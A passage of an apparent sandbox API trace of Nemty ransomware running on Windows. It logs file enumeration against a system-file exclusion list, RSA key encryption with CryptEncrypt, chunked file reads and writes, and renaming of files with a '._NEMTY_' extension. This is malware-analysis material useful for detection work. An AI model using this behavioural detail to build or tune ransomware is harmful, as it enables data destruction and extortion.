lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.873] CloseHandle (hObject=0xffffffff) returned 0 [0104.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0104.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png._nemty_kgobjgd_")) returned 0 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.874] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="...") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="windows") returned -1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="$RECYCLE.BIN") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="rsa") returned -1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="NTDETECT.COM") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ntldr") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="MSDOS.SYS") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="IO.SYS") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="boot.ini") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="boot.ini") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="AUTOEXEC.BAT") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ntuser.dat") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="desktop.ini") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="CONFIG.SYS") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="RECYCLER") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="BOOTSECT.BAK") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="bootmgr") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="programdata") returned 1 [0104.874] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="appdata") returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RenderingControl.xml", lpUsedDefaultChar=0x0) returned 20 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RenderingControl.xml", lpUsedDefaultChar=0x0) returned 20 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RenderingControl.xml", lpUsedDefaultChar=0x0) returned 20 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RenderingControl.xml", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RenderingControl.xml", lpUsedDefaultChar=0x0) returned 20 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0104.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0104.875] Sleep (dwMilliseconds=0x5) [0104.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf22880d0, dwHighDateTime=0x1d561e7)) [0104.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf22880d0, dwHighDateTime=0x1d561e7)) [0104.877] GetLastError () returned 0x5 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.877] GetLastError () returned 0x5 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0104.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.877] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0104.877] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="bNp3arfvbfiVwdODFFJbc9a20ThEOfmb+hhPAVVBbf33Uy55n/P4vnXpQmV3Qq+6\r\nVZBFXd99FVXxJ/mSzAasAYrfR932b//ftfrJY3zE6jxQ4gK4PWQvCwhbNCLLwIgz\r\nHoe34Te3psskeoGs31+vm+9t6ifCNdQZE158FAWUR0PQ/yWbOBjXLdhd6JYx0Haq\r\n2WnxNK3m2D0GBTaeq/fpEGkNnhAgutIOYdur5ezizKx+X+1k38dWw6tLAPKfh88w\r\nkIndTnGqGverTWQorHymx6UrK93vi40LXtoLKm47uHIngW+tHG9T9id1R2lgNq0N\r\nxHX8/UrvOj1IaXGRFLT4Ig==\r\n", pcchString=0x653ef9c) returned 1 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.877] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.877] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, 